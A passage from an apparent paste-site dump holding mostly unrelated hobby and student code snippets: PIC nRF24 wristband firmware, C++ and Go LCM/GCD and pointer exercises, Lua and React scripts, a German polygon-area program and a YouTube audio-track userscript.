no compatible\n"");Led_color(2); + //flash yellow.wrist + Led_color(2); + } + } + else + { + //printf(""casa no compatible\n"");Led_color(2); + //flash yellow wrist + Led_color(2); + } + } + else + { + //printf(""Fumar no compatible\n""); + Led_color(2); + //flash.red wrist + } + } + else + { + //printf(""Bebida no compatible\n""); + Led_color(2); + //flash red wrist + } + } + else + { + //printf(""caracter no compatible\n""); + Led_color (1); + //flash red color + } + } + else + { + //printf(""Ocupacion no compatible\n"");Led_color(2); + //flash yellow.wrist + Led_color(1); + } + } + else + { + //printf(""estudios no compatible\n""); + Led_color(1); + //flash red wrist + } + } + else + { + //printf(""Religion no compatible\n""); + Led_color(1); + ///flash red wrist + } + } + else + { + //printf(""hijos no compatible\n""); + Led_color(1); + //flash red wrist + } + } + else + { + //printf(""Estado civil no compatible\n""); + Led_color(1); + //flash red wrist + } + } + else + { + //printf(""Edad no compatible\n""); + Led_color(1); + //flash red wrist + } + } + else + { + //finito: + Led_color(1); + //printf(""Genero no compatible\n""); + //led_color(1); + } +} + + +void main() +{ + + // Initialize the device + SYSTEM_Initialize(); + + // If using interrupts in PIC18 High/Low Priority Mode you need to enable the Global High and Low Interrupts + // If using interrupts in PIC Mid-Range Compatibility Mode you need to enable the Global and Peripheral Interrupts + // Use the following macros to: + + // Enable the Global Interrupts + INTERRUPT_GlobalInterruptEnable(); + + // Disable the Global Interrupts + //INTERRUPT_GlobalInterruptDisable(); + + // Enable the Peripheral Interrupts + INTERRUPT_PeripheralInterruptEnable(); + + // Disable the Peripheral Interrupts + //INTERRUPT_PeripheralInterruptDisable(); +//TMR0_Initialize(); +TMR0_SetInterruptHandler(blink_led); +//TMR0_StartTimer(); +SPI1_Open(SPI1_DEFAULT); +TRISB = 0; +TRISD =0; + + + + +#if NRF24L01_TX_EX + ret = nrf24_rf_init(TX_MODE, 0b00000010); // Tx mode with 2400+115 Ghz RF frq +#elif NRF24L01_RX_EX + ret = nrf24_rf_init(RX_MODE, 115); // Rx mode with 2400+115 Ghz RF frq +#endif + //enableAckPayload(); + + if (ret == NRF24_INIT_OK) + { + printf(""###############################################################\r\n""); + printf(""NRF24L01 Initialize successful\r\n""); + nrf24_printf_rf_config(); + printf(""###############################################################\r\n""); +} + else + { + printf(""###############################################################\r\n""); + printf(""Failed Initialize NRF24L01\r\n""); + printf(""###############################################################\r\n""); + } + +//#if NRF24L01_TX_EX + + //char memoria [5][50]; + + while (1) + { + + //while (txcounter <= 2)//cuantas veces quiero que transmita +//{ + // txcounter++; +#if NRF24L01_TX_EX + + sprintf((char*)bufferTX,""01,00,03,04,05,06,07,08"");//ejemplo verde + + nrf24_send_rf_data(bufferTX); + LATBbits.LATB0 = 1; + __delay_ms(100); + LATBbits.LATB0 = 0; + __delay_ms(100); + //sprintf((char*)bufferRX,""01,66,42,67,6C,6F,82,88,7F,81,8E,90,92"");//ejemplo rojo + sprintf((char*)bufferTX,""01,00,03,04,05,06,07,08""); + nrf24_send_rf_data(bufferTX); + __delay_ms(100); + LATBbits.LATB0 = 1; + __delay_ms(100); + LATBbits.LATB0 = 0; + __delay_ms(100); + + //sprintf((char*)bufferRX,""01,66,20,69,6C,6F,9B,82,88,7F,81,8F,90,92"");//ejemplo amarillo + sprintf((char*)bufferTX,""01,00,03,04,05,06,07,08""); + nrf24_send_rf_data(bufferTX); + LATBbits.LATB0 = 1; + __delay_ms(100); + LATBbits.LATB0 = 0; + __delay_ms(100); + //nrf24_read_rf_data(bufferRX);//activar + // sprintf((char*)bufferRX,""01,66,42,67,6C,6F,82,88,7F,81,8E,90,92"");//ejemplo rojo + //sprintf((char*)bufferRX,""01,66,20,69,6C,6F,9B,82,88,7F,81,8E,90,92"");//ejemplo verde + //sprintf((char*)bufferRX,""01,66,20,69,6C,6F,9B,82,88,7F,81,8F,90,92"");//ejemplo amarillo + // TRISBbits.RB0 = 1; + // __delay_ms(100);//activar + // TRISBbits.RB0 = 0; + +//} +//lo muevo a modo receptor +//seleccion(bufferTX, bufferRX); + +#elif NRF24L01_RX_EX + + + + //nrf24l01_read_rf_data(bufferrx) + //printf(""please input your host data""); + //scanf(""%c"",&buffer); + + //sprintf(host[x],""datos%x"",bufferrx); + //puts(homemst); + + //} + + + + + /*if (z<=5) + { + z++; + strcpy(memoria[z],bufferRX); + + } +*/ + + + +//give values to the constants + + +//data reception +//#elif nr24l01_rx_ex +//while nr24l01_data available + +/*printf(""dispositivos a comparar=%x,%x\n"",data[0],host[0]); +int c=2; +while (c<=5) +{ + if (strcmp(memoria[c], bufferRX)== 0) + {//printf(""dispositivo ya escaneado""); + goto finito; + } + else + {c++; + + } +} +*/ + + +//NRF24L01_TX_EX =0; +//NRF24L01_RX_EX =1; + + ret = nrf24_rf_init(RX_MODE, 115); // Rx mode with 2400+115 Ghz RF frq + //TRISBbits.RB0 = 1; + __delay_ms(100); + //TRISBbits.RB0 = 0; + //__delay_ms(100); //actvar + nrf24_read_rf_data(bufferRX);//este es el bueno + //TRISBbits.RB0 = 1; + __delay_ms(100); //activvar + //TRISBbits.RB0 = 0; + writeAckPayload (0,bufferTX,32);//activar +//TRISBbits.RB0 = 1; + //__delay_ms(100); + // TRISBbits.RB0 = 0; + + // seleccion (bufferTX, bufferRX);activar + + +/* + //initialize the timer + TMR1=0; //TIMER 1 CON OSCILADOR EXTERNO Y PRESCALER DE 8 + T1CONbits.TMR1ON = 0;//apago el timer 1 y es tambien para la interrupcion del rollover + T1CONbits.TMR1CS = 0b01;//lo configuro con oscilador interno + T1CONbits.T1CKPS = 0b11;//lo configuro con 1 de preescaler + T1CONbits.SOSCEN = 0;//configuro para oscilador interno + // OSCCON2bits.SOSCGO = 0; //configuro para oscilador externo con entrada en SOSCO/SOSCI pins + OSCCON =0b00110110;// se configura el reloj a interno con una frecuencia de 1 Mhz + PIE1bits.TMR1IE = 0;//deshabilita interrupcion + //inicializamos contadores y TMR1 registros + TMR1H = 0; + TMR1L = 0; + PIR1bits.TMR1IF = 0; //para borrar la interrupcion por desbordamiento del timer + // T1CONbits.T1SYNC = ; //para syncronizar el oscilador + + TMR1=0x3CB0; // 15,536 para contar 200 msec + T1CONbits.TMR1ON = 1;//enciendo el timer + //data reception + + //bufferRX[32]= ""016642676C6F9B7F8182889B9B92""; + // + while (PIR1bits.TMR1IF==0) //otra vez hago el ciclo para que empieze a contar + + { + + nrf24_read_rf_data(bufferRX); + //printf(""NRF24 Receive Data: %s\r\n"", bufferRX); + __delay_ms(10);*/ + + /* + +//char guest2[50]; +//for (int y=0;y<=13;y++) +//{ +//sprintf(guest2, ""host %x"", host[y]); +//puts(guest2); +//} +//PIR1bits.TMR1IF = 0;//apago la bandera de desboradmiento del timer +// T1CONbits.TMR1ON = 0;//apago el timer +// PIR1bits.TMR1IF = 0;//apago la bandera de desboradmiento del timer +// TMR1H = 0;//iniciallizo los timer TMR1h y L +// TMR1L = 0; +// TMR1=0x3CB0; // 15,536 para contar 200 msec +// T1CONbits.TMR1ON = 1;//enciendo el timer +//compatibility + + + + +*/ +#endif + + +} +} +" +SPaNTubG,CF G - Replace with product,macbon,C++,Wednesday 18th of October 2023 02:16:34 PM CDT,"#include +using namespace std; + +using ll = long long; + +ll solve(const vector &a) +{ + int n{(int) a.size()}; + cerr << ""n = "" << n << '\n'; + ll max_sum{}; + for (int i{}; i < n; ++i) { + for (int j{i}; j < n; ++j) { + ll sum{}; + for (int k{}; k < i; ++k) { + sum += a[k]; + } + ll product{1}; + for (int k{i}; k <= j; ++k) { + product *= a[k]; + } + sum += product; + for (int k{j + 1}; k < n; ++k) { + sum += a[k]; + } + cerr << ""Result for "" << i << "" to "" << j << "" = "" << sum << '\n'; + max_sum = max(max_sum, sum); + } + } + return max_sum; +} + +ll solve_2(const vector &a) +{ + int n{(int) a.size()}; + vector sum(1 + n), product(1 + n); + product[0] = 1; + for (int i{1}; i <= n; ++i) { + sum[i] = sum[i - 1] + a[i - 1]; + product[i] = product[i - 1] * a[i - 1]; + } + for (ll i: product) { + cerr << i << "", ""; + } + cerr << '\n'; + int i{1}; + while (i <= n && product[i] <= 2) { + ++i; + } + --i; + if (i > 0 && a[i] == 2) { + --i; + } + int j{n}; + while (j > 0 && product[n] / product[j - 1] <= 2) { + cerr << ""j = "" << j << "" product = "" << product[n] / product[j] << '\n'; + --j; + } + if (j + 1 <= n && a[j + 1] == 2) { + ++j; + } + cerr << i << "" - "" << j << '\n'; + if (i == n) { + return sum[n]; + } + ll max_result{product[n]}; + ll result{sum[i] + product[n] / product[i]}; + if (result > max_result) { + max_result = result; + } + result = product[j] + sum[n] - sum[j]; + if (result > max_result) { + max_result = result; + } + if (i < j) { + result = sum[i] + product[j] / product[i] + sum[n] - sum[j]; + if (result > max_result) { + max_result = result; + } + } + return max_result; +} + +int main() +{ + mt19937 g(chrono::system_clock::now().time_since_epoch().count()); + uniform_int_distribution n_distribution(1, 6); + uniform_int_distribution a_distribution(1, 10); + ll sum{}, sum_2{}; + while (true) { + int n{n_distribution(g)}; + vector a(n); + for (ll &i: a) { + i = a_distribution(g); + } +// n = 8; +// a = {4, 7, 4, 6, 5, 10, 7, 6}; + sum = solve(a); + sum_2 = solve_2(a); + if (sum != sum_2) { + cout << a.size() << '\n'; + for (const ll &i: a) { + cout << i << ' '; + } + cout << '\n'; + cout << sum << "" vs "" << sum_2 << '\n'; + break; + } + } + return 0; +} +" +jHCfpBAT,Zahlen besser lesbar formatieren,MagmaLP,Lua,Wednesday 18th of October 2023 02:14:42 PM CDT,"function formatNumber(number) + local formatted = tostring(number) + local k = #formatted % 3 + if k == 0 then k = 3 end + local result = formatted:sub(1, k) + while k < #formatted do + result = result .. ""."" .. formatted:sub(k + 1, k + 3) + k = k + 3 + end + return result +end + +-- Testen der Funktion +local number1 = 1000 +local number2 = 10000000 + +print(""Ursprüngliche Zahlen:"") +print(number1) +print(number2) + +local formattedNumber1 = formatNumber(number1) +local formattedNumber2 = formatNumber(number2) + +print(""\nFormatierte Zahlen:"") +print(formattedNumber1) +print(formattedNumber2)" +Tp8gGseB,нок и нод python,marfach,Python,Wednesday 18th of October 2023 02:13:29 PM CDT,"import sys +import math + +def lcm(arr): + if len(arr) == 0: + raise ValueError(""Массив пустой"") + + lcm = arr[0] + for i in range(1, len(arr)): + lcm = lcm * arr[i] // math.gcd(lcm, arr[i]) + + return lcm + +def gcd(arr): + if len(arr) == 0: + raise ValueError(""Массив пустой"") + + gcd = arr[0] + for i in range(1, len(arr)): + gcd = math.gcd(gcd, arr[i]) + + return gcd + +try: + numbers = input(""Введите числа через пробел: "").split() + numbers = [int(num) for num in numbers] + for i in numbers: + if i < 0: + print(""Должны быть целые числа!"") + sys.exit() + + lcm = lcm(numbers) + gcd = gcd(numbers) + + print(""НОК:"", lcm) + print(""НОД:"", gcd) + + + + +except ValueError as e: + print(""Ошибка ввода:"", e)" +C6yKsU7d,Untitled,LIA00,C#,Wednesday 18th of October 2023 02:05:38 PM CDT,"veg.SetValueAtIndex(0, ""Late Flat Dutch""); + +Console.WriteLine(veg.GetValueAtIndex(0));" +cZkKkXXu,youtube-auto-select-original-audio-language.user.js,jcunews,JavaScript,Wednesday 18th of October 2023 01:56:33 PM CDT,"// ==UserScript== +// @name YouTube Auto Select Original Audio Language +// @namespace https://greasyfork.org/en/users/85671-jcunews +// @version 1.0.1 +// @license AGPL v3 +// @author jcunews +// @description Context: https://old.reddit.com/r/CodingHelp/comments/17aadka/youtube_pick_a_language_option_on_page_load/ +// @match https://www.youtube.com/* +// @grant none +// ==/UserScript== + +(rx => { + rx = /original/i; + setInterval((e, a) => { + if (e = window.movie_player) { + a = e; + while (a?.tagName) { + if (getComputedStyle(a).display === ""none"") return; + a = a.parentNode + } + if ((a = e.getAvailableAudioTracks()).length && !rx.test(e.getAudioTrack().Qc.name)) { + a.some(o => { + if (rx.test(o.Qc.name)) { + e.setAudioTrack({id: o.id}); + return true + } + }) + } + } + }, 200) +})() +" +sxXCYsQN,Untitled,TRToC,C,Wednesday 18th of October 2023 01:20:13 PM CDT,"#define _CRT_SECURE_NO_WARNINGS 1 +#include +#include +#include + +#define PATH_MAX 4096 /* # chars in a path name including nul */ +#define MAXPUNKTE 6 + +void Menu2(double *feldX, double *feldY, int *pFeldLen); +void DatenAufnehmen(double *feldX, double *feldY, int *pFeldLen); +void DatenAusgeben(double *feldX, double *feldY, int *pFeldLen); +void DatenKorrigieren(double *feldX, double *feldY, int *pFeldLen); +void DatenSpeichern(double *feldX, double *feldY, int *pFeldLen); +void DatenLaden(double *feldX, double *feldY, int *pFeldLen); +void DatenBerechnen(double *feldX, double *feldY, int *pFeldLen); +void DatenGenerieren(double *feldX, double *feldY, int *pFeldLen); + + +int main(void) +{ + double feldX[MAXPUNKTE]; + double feldY[MAXPUNKTE]; + int feldLen = 0; + + setlocale(LC_ALL, ""de_DE""); + Menu2(feldX, feldY, &feldLen); + printf(""bye...\n""); +} + +void DrawMenu() +{ + printf(""\n""); + printf(""Berechnung eines Flächeninhalts\n""); + printf(""===============================\n""); + printf(""(1) Daten aufnehmen\n""); + printf(""(2) Daten ausgeben\n""); + printf(""(3) Daten korrigieren\n""); + printf(""(4) Daten speichern\n""); + printf(""(5) Daten laden\n""); + printf(""(6) Flächeninhalt ermitteln\n""); + printf(""(7) Testdaten generieren\n""); + printf(""(0) Ende [ESC]\n""); + printf(""Treffen Sie eine Wahl:\n""); +} + +void Menu2(double *feldX, double *feldY, int *pFeldLen) +{ + char key; + DrawMenu(); + do + { + key = getch(); + if (key == '1') + { + DatenAufnehmen(feldX, feldY, pFeldLen); + DrawMenu(); + } + else if (key == '2') + { + DatenAusgeben(feldX, feldY, pFeldLen); + DrawMenu(); + } + else if (key == '3') + { + DatenKorrigieren(feldX, feldY, pFeldLen); + DrawMenu(); + } + else if (key == '4') + { + DatenSpeichern(feldX, feldY, pFeldLen); + DrawMenu(); + } + else if (key == '5') + { + DatenLaden(feldX, feldY, pFeldLen); + DrawMenu(); + } + else if (key == '6') + { + DatenBerechnen(feldX, feldY, pFeldLen); + DrawMenu(); + } + else if (key == '7') + { + DatenGenerieren(feldX, feldY, pFeldLen); + DrawMenu(); + } + + } while (key != '0' && key != 27); +} + +int LeseIntZahl(char *queryText) +{ + int input; + int scanned; + do + { + printf(""%s"", queryText); + scanned = scanf(""%d"", &input); + if (scanned != 1) { + printf(""ERROR: Ungültige Eingabe. Bitte geben Sie eine gültige Zahl ein.\n""); + } + while (getchar() != '\n'); // clear the input buffer + } while (scanned != 1); + return input; +} + +double LeseDoubleZahl(char *queryText) +{ + double input; + int scanned; + do + { + printf(""%s"", queryText); + scanned = scanf(""%lf"", &input); + if (scanned != 1) { + printf(""ERROR: Ungültige Eingabe. Bitte geben Sie eine gültige Zahl ein.\n""); + } + while (getchar() != '\n'); // clear the input buffer + } while (scanned != 1); + return input; +} + +// 2do: Diese Funktion sieht viel zu kompliziert aus. Ich brauche wieder scanf. Keine Ahnung wie ich das mit dem Array-Zurück-Geben lösen soll. Naja, jetzt nich mein Problem. Das löse ich ein ander mal noch. +void LeseStringWert_old(char *text, char *ziel, int maxLaenge) { + do { + printf(""%s"", text); + fgets(ziel, maxLaenge, stdin); + + // Entferne das newline-Zeichen am Ende des Strings + size_t laenge = strlen(ziel); + if (laenge > 0 && ziel[laenge - 1] == '\n') { + ziel[laenge - 1] = '\0'; + } + + // Überprüfe, ob der eingegebene Pfad gültig ist + if (ziel[0] == '\0' || ziel[0] == '\n') { + printf(""Ungültiger Pfad. Bitte geben Sie einen gültigen Pfad ein.\n""); + } + else { + break; + } + } while (1); +} + +void LeseStringWert(char *ziel, int maxLaenge) { + fgets(ziel, maxLaenge, stdin); + + // Entferne das newline-Zeichen am Ende des Strings + size_t laenge = strlen(ziel); + if (laenge > 0 && ziel[laenge - 1] == '\n') { + ziel[laenge - 1] = '\0'; + printf(""DEBUG: Entferne das newline-Zeichen am Ende des Strings\n""); + } +} + +void DatenAufnehmen(double *feldX, double *feldY, int *pFeldLen) +{ + printf(""\n""); + printf(""(1) Daten aufnehmen: (Ende: Ersten Punkt noch einmal eingeben)\n""); + printf(""-------------------\n""); + int c = 0; + double readX; + double readY; + char text[32]; + do + { + // X-Wert + sprintf(text, ""%3i. Punkt: x : "", c + 1); + readX = LeseDoubleZahl(text); + + // Y-Wert + sprintf(text, "" y : ""); + readY = LeseDoubleZahl(text); + + printf(""%lf %lf\n"", readX, readY); + if (c > 0 && readX == feldX[0] && readY == feldY[0]) + { + if (c <= 2) { + printf(""ERROR! Es müssen mindestens drei Punkte eingegeben werden.\n""); + continue; // Diesen Wert werden wir NICHT speichern! + } + else { + *pFeldLen = c; + break; // wir haben genug + } + } + + // Info: nur speichern wenn wir noch nicht genug hatten + feldX[c] = readX; + feldY[c] = readY; + c++; + } while (c < MAXPUNKTE); + + if (c >= MAXPUNKTE) { + printf(""WARNUNG! Das Array ist voll. Die Eingabe wird beendet.\n""); + *pFeldLen = MAXPUNKTE; + } + printf(""Es wurden %d Punkte eingegeben.\n"", *pFeldLen); +} + +void DatenAusgeben(double *feldX, double *feldY, int *pFeldLen) +{ + // 2do: ""Bei der Funktion ausgabe() soll nach jeweils zehnn Punkten und am Ende der Ausgabe auf das Betätigen der Enter - Taste gewartet werden."" + printf(""\n""); + printf(""(2) Daten ausgeben:\n""); + printf(""-------------------\n""); + if (*pFeldLen == 0) + { + printf(""ERROR! Es gibt noch keine Punkte.\n""); + } + printf(""Wir haben %i Punke.\n"", *pFeldLen); + for (int i = 0; i < *pFeldLen; i++) + { + printf(""%3i. Punkt: x : %lf\n"", i + 1, feldX[i]); + printf("" y : %lf\n"", feldY[i]); + } +} + +void DatenKorrigieren(double *feldX, double *feldY, int *pFeldLen) { + printf(""\n""); + printf(""(3) Daten korrigieren:\n""); + printf(""----------------------\n""); + + int index; + do { + index = LeseIntZahl(""Welchen Punkt wollen Sie korrigieren (0 für Ende): ""); + + if (index == 0) { + printf(""Korrekturen beendet.\n""); + break; + } + + if (index < 1 || index > *pFeldLen) { + printf(""Ungültiger Punkt. Bitte geben Sie einen gültigen Punkt ein. (1 bis %d)\n"", MAXPUNKTE); + continue; + } + + printf(""Alter x-Wert = %.2lf\n"", feldX[index - 1]); + double neuerX = LeseDoubleZahl(""Neuer x-Wert : ""); + + printf(""Alter y-Wert = %.2lf\n"", feldY[index - 1]); + double neuerY = LeseDoubleZahl(""Neuer y-Wert : ""); + + feldX[index - 1] = neuerX; + feldY[index - 1] = neuerY; + + } while (index != 0); +} + +void DatenSpeichern(double *feldX, double *feldY, int *pFeldLen) { + printf(""\n""); + printf(""(4) Daten speichern:\n""); + printf(""--------------------\n""); + printf(""Pfadname (Default: koord.txt):""); + + char dateipfad[PATH_MAX]; + LeseStringWert(dateipfad, PATH_MAX); + + if (dateipfad[0] == '\0') { + strcpy(dateipfad, ""koord.txt""); + } + + FILE *datei = fopen(dateipfad, ""w""); + + if (datei == NULL) { + printf(""FEHLER: Die Datei %s konnte nicht zum Schreiben geöffnet werden.\n"", dateipfad); + return; + } + + for (int i = 0; i < *pFeldLen; i++) { + fprintf(datei, ""%.2lf %.2lf\n"", feldX[i], feldY[i]); + } + + fclose(datei); + printf(""Es wurden %d Wertepaare in %s gespeichert.\n"", *pFeldLen, dateipfad); +} + +void DatenLaden(double *feldX, double *feldY, int *pFeldLen) { + printf(""\n""); + printf(""(5) Daten laden:\n""); + printf(""--------------------\n""); + printf(""Pfadname (Default: koord.txt):""); + + char dateipfad[PATH_MAX]; + LeseStringWert(dateipfad, PATH_MAX); + + if (dateipfad[0] == '\0') { + strcpy(dateipfad, ""koord.txt""); + } + + FILE *datei = fopen(dateipfad, ""r""); + + if (datei == NULL) { + printf(""FEHLER: Die Datei %s konnte nicht zum Lesen geöffnet werden.\n"", dateipfad); + return; + } + + int c = 0; + while (fscanf(datei, ""%lf %lf"", &feldX[c], &feldY[c]) == 2) { + c++; + if (c >= MAXPUNKTE) { + printf(""WARNUNG: Das Array ist voll. Die Daten werden nur bis zum Maximum von %d gelesen.\n"", MAXPUNKTE); + break; + } + } + + *pFeldLen = c; + fclose(datei); + + printf(""Es wurden %d Wertepaare aus %s geladen.\n"", *pFeldLen, dateipfad); +} + +void DatenBerechnen(double *feldX, double *feldY, int *pFeldLen) { + double summeXiYiPlus1 = 0.0; + double summeXiPlus1Yi = 0.0; + + for (int i = 0; i < *pFeldLen; i++) { + int naechsterIndex = (i + 1) % *pFeldLen; // Berücksichtige den Spezialfall für den letzten Punkt + + summeXiYiPlus1 += feldX[naechsterIndex] * feldY[i]; + summeXiPlus1Yi += feldX[i] * feldY[naechsterIndex]; + } + + double flaecheninhalt = (summeXiYiPlus1 - summeXiPlus1Yi) / 2.0; + printf(""Flächeninhalt: %.2lf\n"", flaecheninhalt); +} + +// 2do: DEBUG-Only, remove later +void DatenGenerieren(double *feldX, double *feldY, int *pFeldLen) { + if (MAXPUNKTE >= 4) + { + // 2do: DB löschen-Abfrage + feldX[0] = 2; + feldY[0] = 1; + feldX[1] = 3; + feldY[1] = 8; + feldX[2] = 5; + feldY[2] = 7; + feldX[3] = 6; + feldY[3] = 4; + *pFeldLen = 4; + printf(""Info: Es wurden %d Testdaten generiert. Der Flächeninhalt sollte 15 sein.\n"", *pFeldLen); + } +} + +" +MFdmx0iQ,lesson_321_22,valenki13,C++,Wednesday 18th of October 2023 01:19:15 PM CDT,"#include + +using namespace std; + +void test_myswap(); +void test_myswap_by_pc(); +void myswap(int& x, int& y); +void test_checsign(); +bool checsign(int, int*, int&, int&); + +int sum(int a, int b) { + return a + b; +} + +void pointer_vs_constant() { + /* + c - const + p - pointer + r - reference + */ + + int x = 17; + int y = 22; + x = x + 12; + cout << x << endl; + + const int cx = x; + cout << cx << endl; + x = x + 1000; + cout << cx << endl; + cout << x << endl; + cout << ""sum(x, cx) : "" << sum(x, cx) << endl; + + const int* pcx = &cx; + cout << ""*pcx: "" << *pcx << endl; + + const int cArr[]{5,6,7,8}; + const int* pca = cArr; + //cArr[0] = 6; + //*pca = 6; + cout << ""Const1 "" << *pca << endl; + pca = pca + 1; + cout << ""Const2 "" << *pca << endl; + pca = &x; // это замороченный момент + + const int* const cpcx = &(cArr[2]); + //cpcx = cpcx + 1; + //*cpcx = 888; + + int z = 33; + int* const cpz = &z; + cout << z << "" "" << *cpz << endl; + //cpz++; + *cpz = 44; + cout << z << "" "" << *cpz << endl; + z = 55; + cout << z << "" "" << *cpz << endl; + + //*pcx = 14; - даже через разъименование нельзя + //myswap(x, cx); - ссылка привела бы к изменению - так нельзя + //cx++; - константы нельзя менять + +} + +int main() { + //test_checsign(); + //test_myswap(); + //test_myswap_by_pc(); + pointer_vs_constant(); + return 0; +} + + +/// +/// Count numbers of positive and negative elements in array +/// +/// A integer size of array +/// A array of int +/// Nuber of negative +/// Number of positive +/// Is error in the function +bool checsign(int size, // size + int* arr, // + int& n_neg, // + int& n_pos // +) { + n_neg = 0; + n_pos = 0; + for (int k = 0; k < size; k++) { + if (arr[k] < 0) n_neg++; + else if (arr[k] > 0) n_pos++; + } + return false; +} + +void test_checsign() { + int arr[]{ 1, 3, 0, -2, 1,-1, 12, 7 }; + int n_neg = 0; + int n_pos = 0; + bool is_err = checsign(size(arr), arr, n_neg, n_pos); + if (is_err) { + cout << ""BAD error"" << endl; + } + if (n_pos != 5) { + cout << ""BAD value positive wrong"" << endl; + } + if (n_neg != 2) { + cout << ""BAD value negative wrong"" << endl; + } + if (!is_err && (n_pos == 5) && (n_neg == 2)) { + cout << ""OK""; + } +} + +void myswap4(int x, int y) { + // BAD + int temp = x; + x = y; + y = temp; + cout << ""In: "" << x << "" "" << y << endl; +} + +void myswap3(int* px, int* py) { + // BAD + int* temp = px; + px = py; + py = temp; + cout << ""In: "" << *px << "" "" << *py << endl; +} + +void myswap2(int* px, int* py) { + // SO SO + int temp = *px; + *px = *py; + *py = temp; + cout << ""In: "" << *px << "" "" << *py << endl; +} + +void myswap(int& x, int& y) { + int temp = x; + x = y; + y = temp; + cout << ""In: "" << x << "" "" << y << endl; +} + +void myswap_alg(int& x, int& y) { + x = x + y; + y = x - y; + x = x - y; +} + +void test_myswap() { + int x = 4; + int y = 5; + swap(x, y); + + cout << x << "" "" << y << endl; + // out: 4 5 + myswap(x, y); + cout << ""Out: "" << x << "" "" << y << endl; + // out: 5 4 +} + +void test_myswap_by_pc() { + int x = 4; + int y = 5; + cout << ""Part 1: ""; + if (x == 4 && y == 5) + cout << ""OK"" << endl; + else + cout << ""BAD"" << endl; + myswap(x, y); + cout << ""Part 2: ""; + if (x == 5 && y == 4) + cout << ""OK"" << endl; + else + cout << ""BAD"" << endl; +}" +itzj9484,Unlocking the Benefits of MOGAFX Losable Bonus,fxvnpro,PHP,Wednesday 18th of October 2023 01:08:06 PM CDT,https://www.fxvnpro.com/unlocking-the-benefits-of-mogafx-losable-bonus/ +8A4Fc51E,counter,Diaxon,JavaScript,Wednesday 18th of October 2023 01:03:53 PM CDT,"import React, {useState} from ""react""; +import 'bootstrap/dist/css/bootstrap.css'; + +function App(){ + const [count, setCount] = useState(0); + + return( +
+
+
+

Counter App

+
+
+

{count}

+
+
+ + + +
+ +
+
+ ) + +} + +export default App;" +5DCyh7Tr,startup,MagmaLP,Lua,Wednesday 18th of October 2023 01:03:40 PM CDT,"os.loadAPI(""ocs/apis/sensor"") +sen = sensor.wrap(""bottom"") +mon = peripheral.wrap(""left"") +state = false + +mon.setTextScale(1) +mon.clear() + + +function formatNumber(number) + local formatted = tostring(number) + local k = #formatted % 3 + if k == 0 then k = 3 end + local result = formatted:sub(1, k) + while k < #formatted do + result = result .. ""."" .. formatted:sub(k + 1, k + 3) + k = k + 3 + end + return result +end + + + +while true do + s = sen.getTargets() + function getS() + for v, k in pairs(s) do + if k.Name == ""ME Wireless Access Point"" then + target = v + end + end + return target + end + + f = getS() + s1 = sen.getTargetDetails(target) + + for v, k in pairs(s1.Items) do + mon.setTextColor(colors.yellow) + if k.Name == ""Low Voltage Solar Array"" then + if state == false then + lv1 = k.Size + print(""LV Rechenwert 1: ""..lv1) + elseif state == true then + lv2 = k.Size + print(""LV IstWert 2: ""..lv2) + calc = (lv2 - lv1) * 6 --LVs pro Minute + calc2 = calc * 60 --LVs pro Stunde + + fN1 = formatNumber(calc) + fN2 = formatNumber(calc2) + fN3 = formatNumber(lv2) + if calc >= 0 then + mon.setCursorPos(2,2) + mon.write(""LV Solars/m: ""..fN1 .."" "") + else + mon.setCursorPos(2,2) + mon.write(""LV Solars/m: 0 "") + end + if calc2 >= 0 then + mon.setCursorPos(2,3) + mon.write(""LV Solars/h: ""..fN2 .."" "") + else + mon.setCursorPos(2,3) + mon.write(""LV Solars/h: 0 "") + end + mon.setCursorPos(2,8) + mon.write(""LVs on stock: ""..fN3 .."" "") + else + print(""Error(1)"") + end + + elseif k.Name == ""UU-Matter"" then + if state == false then + uu1 = k.Size + print(""UU Rechenwert 1: ""..uu1) + elseif state == true then + uu2 = k.Size + print(""UU IstWert 2: ""..uu2) + calc = (uu2 - uu1) * 6 + calc2 = calc * 60 + + fN4 = formatNumber(calc) + fN5 = formatNumber(calc2) + fN6 = formatNumber(uu2) + if calc >= 0 then + mon.setCursorPos(2,5) + mon.write(""UU-Matter/m: ""..fN4 .."" "") + else + mon.setCursorPos(2,5) + mon.write(""UU-Matter/m: 0 "") + end + if calc2 >= 0 then + mon.setCursorPos(2,6) + mon.write(""UU-Matter/h: ""..fN5 .."" "") + else + mon.setCursorPos(2,6) + mon.write(""UU-Matter/h: 0 "") + end + mon.setCursorPos(2,10) + mon.write(""UU on stock: ""..fN6 .."" "") + else + print(""Error(1)"") + end + elseif k.Name == ""High Voltage Solar Array"" then + if state == true then + hv = k.Size + print(""HV IstWert: ""..hv) + + fN7 = formatNumber(hv) + + mon.setCursorPos(2,9) + mon.write(""HVs on stock: ""..fN7 .."" "") + end + end + end + if state == true then + state = false + for i = 20,11,-1 do + mon.setTextColor(colors.lightGray) + if i <= 9 then + mon.setCursorPos(18,12) + mon.write(""reboot in: ""..i) + end + mon.setCursorPos(17,12) + mon.write(""reboot in: ""..i) + sleep(1) + end + print("" "") + print(""Neue Berechnung gestartet:"") + else + state = true + for i = 10,1,-1 do + mon.setTextColor(colors.lightGray) + if i <= 9 then + mon.setCursorPos(18,12) + mon.write(""reboot in: ""..i) + end + mon.setCursorPos(17,12) + mon.write(""reboot in: ""..i) + sleep(1) + end + end +end" +i44wDPBB,нок и нод golang,marfach,Go,Wednesday 18th of October 2023 12:41:18 PM CDT,"package main + +import ( + ""fmt"" + ""os"" + ""strconv"" +) + +// НОД +func findGCD(a, b int64) int64 { + for b != 0 { + // b = a % b + // a = temp + a, b = b, a%b + } + return a +} + +// НОК +func findLCM(a, b int64) int64 { + gcd := findGCD(a, b) + lcm := a / gcd * b + return lcm +} + +// Функция для нахождения НОК и НОД массива чисел +func findLCMAndGCD(num []int64) (int64, int64, error) { + if len(num) == 0 { + return 0, 0, fmt.Errorf(""массив чисел пуст"") + } + + lcm := num[0] + gcd := num[0] + + for i := 1; i < len(num); i++ { + number := num[i] + lcm = findLCM(lcm, number) + gcd = findGCD(gcd, number) + } + + return lcm, gcd, nil +} + +func main() { + nums := []string{""12"", ""16"", ""24"", ""36""} + num := []int64{} + + //конвертация массива строк в массив чисел + обработчик ошибки + for _, z := range nums { + n, err := strconv.ParseInt(z, 10, 64) + if err != nil { + fmt.Println(""Должны быть только целые числа."") + os.Exit(1) + } + num = append(num, n) + + } + + lcm, gcd, err := findLCMAndGCD(num) + + // основные ошибка + if err != nil { + fmt.Println(""Ошибка:"", err) + os.Exit(1) + } + for _, i := range num { + if i < 0 { + fmt.Println(""Должны быть только положительные числа."") + os.Exit(1) + } + + } + + fmt.Println(""НОК: "", 